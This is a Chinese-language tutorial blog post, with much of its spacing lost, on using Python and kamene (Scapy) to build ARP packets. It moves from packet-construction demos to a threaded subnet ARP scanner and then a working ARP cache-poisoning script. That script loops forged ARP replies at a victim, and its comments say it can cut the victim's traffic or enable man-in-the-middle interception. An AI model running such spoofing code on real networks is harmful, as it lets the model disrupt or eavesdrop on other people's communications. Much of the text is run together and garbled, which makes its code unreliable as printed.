当前位置: 首页 > 后端技术 > Python

使用Python构造ARP请求,扫描,欺骗

时间:2023-03-25 23:47:54 Python

[TOC]0。ARP简介首先回顾一下TCP/IP模型,从下到上分为数据链路层、网络层、传输层、应用层。那么ARP属于哪一层呢?有人会说它是网络层,其实它属于数据链路层,只是还需要为网络层提供服务。ARP的主要目的是IP(32bit)地址和物理MAC(48bit)地址之间的映射关系。不管表层主机知道远程IP地址,都可以通信。其实它首先要知道远端的MAC地址(借助ARP),通过网卡到交换机建立数据链路层通信,再通过上层进行数据交互。此外,您还可以了解代理ARP、免费ARP和RARP。你能理解它们是如何工作的吗?这里我们简单回顾一下:代理ARP:一般路由器通常作为代理响应本地ARP请求,而不是远程主机;gratuitousARP:一种特殊的ARP请求报文,用于检测IP冲突和硬件地址变化触发gratuitousARP;RARP:与ARP相反,主要用于无盘工作站,请求物理MAC(48bit)地址到IP(32bit)地址的映射;一、Scapy简介Scapy是一个用Python语言编写的工具,是一个强大的投递数据包处理程序,可以伪造或解码大量的网络协议数据包,可以发送、嗅探、分析和伪造网络数据包,例如端口扫描、路由跟踪、检测、攻击或网络发现等。使用Scapy可以替代hping、arpspoof、arp-sk、arping、p0f等功能,甚至可以替代nmap、tcpdump和tshark的部分功能。此外,Scapy还有很多其他工具所没有的功能,比如发送无效数据帧、注入修改过的802.11数据帧、解码WEB上的加密通道(VOIP)、ARP缓存攻击(VLAN)等。主要功能Scapy分别如下:Scanning(扫描)Fingerprinting(识别)Testing(测试)Packetforging(包铸造)Attacking(攻击)Sniffing(抓包分析)发送和接收数据包简介:sr():发送三层数据包,wait接受一个或多个数据包的响应。sr1():发送一个三层数据包,只等待响应接收数据包。srp():发送第2层数据包并等待响应。send():只发送三层数据包,系统会自动处理路由和二层信息。sendp():发送二层数据包。作为一名网络工作者,你是不是经常抓包来分析某个协议的头部结构,现在你可以使用Scapy来构造和发送数据包了。在python3环境下,现在叫Kamene,以前叫Scapy。2.Scapy的简单demo2.1安装pip3install-ihttps://pypi.douban.com/simple/kamene#使用豆瓣源安装kamene说明:强烈建议在linux环境下安装测试(我用的是ubuntu16)。2.2构建包演示2.2.1进入kamene交互界面#安装后直接通过kamene进入,类似python交互界面root@ubuntu:~#kameneWARNING:NoroutefoundforIPv6destination::(nodefaultroute?)。这仅影响IPv6INFO:请向https://github.com/phaethon/kamene报告问题警告:IPython不可用。改用标准的Pythonshell。欢迎使用kamene(3.0.0)>>>2.2.2查看以太网头>>>Ether()>>>_.show()#'_'下划线表示前面命令执行的结果,结果通过show()显示###[Ethernet]###WARNING:Macaddresstoreachdestinationnotfound。使用广播。dst=ff:ff:ff:ff:ff:ffsrc=00:00:00:00:00:00type=0x90002.2.3查看ICMP头>>>ICMP()>>>_.show()###[ICMP]###type=echo-r??equestcode=0chksum=Noneid=0x0seq=0x02.2.4查看IP头>>>IP()>>>_.show()###[IP]###version=4ihl=Nonetos=0x0len=Noneid=1flags=frag=0ttl=64proto=ipchksum=Nonesrc=127.0.0.1dst=127.0.0。1\options\2.2.5查看TCP/UDPheader>>>TCP()>>>_.show()###[TCP]###sport=ftp_datadport=httpseq=0ack=0dataofs=Nonereserved=0flags=Swindow=8192chksum=Noneurgptr=0options={}>>>UDP()>>>_.show()###[UDP]###sport=domaindport=domainlen=Nonechksum=None2.2.6ICMP包的简单构造#通过'/'可以叠加多个协议层(左下层到上层),如Ether()/IP()/UDP()/DNS()>>>p=sr1(IP(src='192.168.8.128',dst='192.168.8.254')/ICMP()/b'这是一个ICMP数据包')开始发射:..Finishedtosend1packets.*Received3packets,got1answers,remaining0packets>>>p.show()###[IP]###version=4ihl=5tos=0x0len=49id=1909flags=frag=0ttl=128proto=icmpchksum=0xa088src=192.168.8.254dst=192.168.8.128\options\###[ICMP]###type=echo-r??eply#receivedareplaypacketcode=0chksum=0x55adid=0x0seq=0x0###[Raw]###load='This是一个ICMP包'2.2.7ARP包的简单构造先看ARP包的格式:>>>ARP()>>>_.show()###[ARP]###hwtype=0x1ptype=0x800#protocolnumberhwlen=6plen=4op=who-has#op=1表示Request,op=2表示Responsehwsrc=00:0c:29:5d:2f:55#sourceMACaddresspsrc=192.168。8.128#源IP地址hwdst=00:00:00:00:00:00#初始目的是广播地址pdst=0.0.0.0#默认为空ARP请求包的简单构造:>>>p=sr1(ARP(psrc='192.168.8.128',pdst='192.168.8.254'))开始发射:.*完成发送1个数据包。收到2个数据包,得到1个答案,剩余0个数据包>>>p.show()###[ARP]###hwtype=0x1ptype=0x800hwlen=6plen=4op=is-athwsrc=00:50:56:e7:d0:87psrc=192.168.8.254hwdst=00:0c:29:5d:2f:55#返回Arp响应包,获取目的映射MAC地址pdst=192.168.8.128###[Padding]###load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'接下来,我们来玩点复杂的。.3.构造ARP请求#!/usr/bin/envpython3#-*-coding:UTF-8-*-#欢迎关注微信公众号:点满技术#这里靠谱,有价值,免费分享,成长,InternetSiegeLion独有。importlogginglogging.getLogger("kamene.runtime").setLevel(logging.ERROR)#清除错误fromkamene.allimport*fromTools.Get_addressimportget_ip_address#从Tools.Get_address获取本地IP地址importget_mac_address#获取本地MACAddressfromTools.Scapy_ifaceimportscapy_iface#获取scapyiface的名称defarp_request(dst_addr,ifname):#获取本地IP地址local_ip=get_ip_address(ifname)#获取本地MAC地址local_mac=get_mac_address(ifname)try:#发送ARP请求并等待响应#op=1表示请求,op=2表示响应#op=1时,hwsrc=表示本地mac,hwdst表示广播(第一个数据包),psrc表示本地IP,pdst表示目的IPresult_raw=sr1(ARP(op=1,hwsrc=local_mac,hwdst='00:00:00:00:00:00',psrc=local_ip,pdst=dst_addr),iface=scapy_iface(ifname),timeout=1,verbose=false)print(result_raw.show())#返回目的IP地址,和目的MAC地址,getlayer(ARP)roundARP包,returndst_addr,result_raw.getlayer(ARP).fields.get('hwsrc')exceptAttributeError:returndst_addr,Noneif__name__=="__main__":#Windows和Linux都可以使用#arp_result=arp_request('192.168.100.1',"WLAN")arp_result=arp_request('192.168.8.254',"ens32")print("IP地址:",arp_result[0],"MAC地址:",arp_result[1])结果如下如下:IP地址:192.168.8.254MAC地址:00:50:56:e7:d0:874。构造ARP扫描#!/usr/bin/envpython3#-*-coding:UTF-8-*-#欢迎关注微信公众号:点满技术#这里是一个靠谱、有价值、免费分享的空间和成长,致力于网络攻城狮ifname):#要扫描的网段net=ipaddress.ip_network(network,strict=False)#空列表,存放字符串IP地址ip_list=[]foripinnet:ip_list.append(str(ip))#IP格式转换tostr,放入ip_listpool=ThreadPool(processes=100)#threadpoolconcurrent100result=[]foriinip_list:result.append(pool.apply_async(arp_request,args=(i,ifname)))pool.close()pool.join()#StoringactiveIPandMACdictionaryscan_dict={}forrinresult:如果r.get()[1]不是None:scan_dict[r.get()[0]]=r.get()[1]#print(scan_dict)returnscan_dictif__name__=='__main__':net='192.168.8.0/24'name='ens32'importtimestart_time=time.time()print("活动IP地址如下:")forip,macinarp_scan(network=net,ifname=name).items():print("IP地址:{}处于活动状态,MAC地址为{}".format(ip,mac))end_time=time.time()print('本次扫描花费的时间:%.2f'%(end_time-start_time))结果如下:活跃的IP地址如下:IP地址:192.168.8.1是活跃的,MAC地址是00:50:56:c0:00:08IP地址:192.168.8.254是活跃的,MAC地址为00:50:56:e7:d0:87此次扫描花费的时间:14.525。构建ARP欺骗#!/usr/bin/envpython3#-*-coding:UTF-8-*-#欢迎关注微信公众号:点满技术#这里有靠谱,有价值,免费分享,成长,空间归属到网络攻城狮importlogginglogging.getLogger("kamene.runtime").setLevel(logging.ERROR)#清除来自kamene的错误。所有我port*fromTools.Get_addressimportget_ip_address#导入Tools.Get_address获取本地IP地址的方法importget_mac_address#导入ARP_Request获取本地MAC地址的方法importarp_request#导入之前创建的ARP请求脚本Tools.Scapy_ifaceimportscapy_iface#获取scapyiface的名称importsignadefarp_spoof(ip_1,ip_2,ifname='ens35'):#声明全局变量globallocalip,localmac,dst_1_ip,dst_1_mac,dst_2_ip,dst_2_mac,local_ifname#赋值给全局变量#dst_1_ip是中毒的ARP设备dst_ip_2是本地伪装设备的IP地址#local_ifname是攻击者使用的网口名称dst_1_ip,dst_2_ip,local_ifname=ip_1,ip_2,ifname#获取本地IP和MAC地址,并赋值给全局变量localip,localmac=get_ip_address(ifname),get_mac_address(ifname)#获取欺骗ip_1的MAC地址,真实网关的MAC地址yip_2dst_1_mac,dst_2_mac=arp_request(ip_1,ifname)[1],arp_request(ip_2,ifname)[1]#引入信号处理机制,如果出现ctl+c(signal.SIGINT),使用sigint_handler方法处理信号.signal(signal.SIGINT,sigint_handler)whileTrue:#继续攻击直到ctl+c出现!!!#op=2,响应ARPsendp(Ether(src=localmac,dst=dst_1_mac)/ARP(op=2,hwsrc=localmac,hwdst=dst_1_mac,psrc=dst_2_ip,pdst=dst_1_ip),iface=scapy_iface(local_ifname),verbose=False)print("发送ARP欺骗包!欺骗{},{}的MAC地址已经是我本地的MAC地址了{}!!!".format(ip_1,ip_2,ifname))time.sleep(1)#定义处理方式defsigint_handler(signum,frame):#声明全局变量globallocalip,localmac,dst_1_ip,dst_1_mac,dst_2_ip,dst_2_mac,local_ifnameprint("\nPerformrecoveryoperation!!!")#发送ARP包恢复中毒设备的ARP缓存sendp(Ether(src=dst_2_mac,dst=dst_1_mac)/ARP(op=2,hwsrc=dst_2_mac,hwdst=dst_1_mac,psrc=dst_2_ip,pdst=dst_1_ip),iface=scapy_iface(local_ifname),verbose=False)print("恢复{}ARPcacheis".format(dst_1_ip))#True时退出程序跳出sys.exit()if__name__=="__main__":#Spoof192.168.1.101让它认为192.168.1.102的MAC地址是一个atta的本地攻击MACcker#如果攻击者没有路由,通信就会中断。如果有路由,就可以窃取双方的通信信息(所谓的中间人)arp_spoof('192.168.1.101','192.168.1.102','ens35')的结果操作如下:发送ARP欺骗包!恶搞192.168.1.101,192.168.1.102的MAC地址已经是我机器ens35的MAC地址了!!!发送ARP欺骗包!欺骗192.168.1.101和192.168.1.102的MAC地址已经是我机器ens35的MAC地址了!!!发送ARP欺骗包!欺骗192.168.1.101和192.168.1.102的MAC地址已经是我机器ens35的MAC地址了!!!发送ARP欺骗包!欺骗192.168.1.101和192.168.1.102的MAC地址已经是我机器ens35的MAC地址了!!!发送ARP欺骗包!欺骗192.168.1.101和192.168.1.102的MAC地址已经是我本地ens35的MAC地址了!!!^C进行恢复操作!!!192.168.1.101的ARP缓存已经恢复。ARP缓存表被欺骗前后效果图:备注:不断发送ARP响应包,设备收到最新的ARP缓存表后会更新本地ARP缓存表,ARP安全性太低附录**:官方学习资源https://scapy.net/http://github.com/phaethon/kamene如果喜欢我的文章,请关注我的公众号:滴滴技术,扫码关注,不定期分享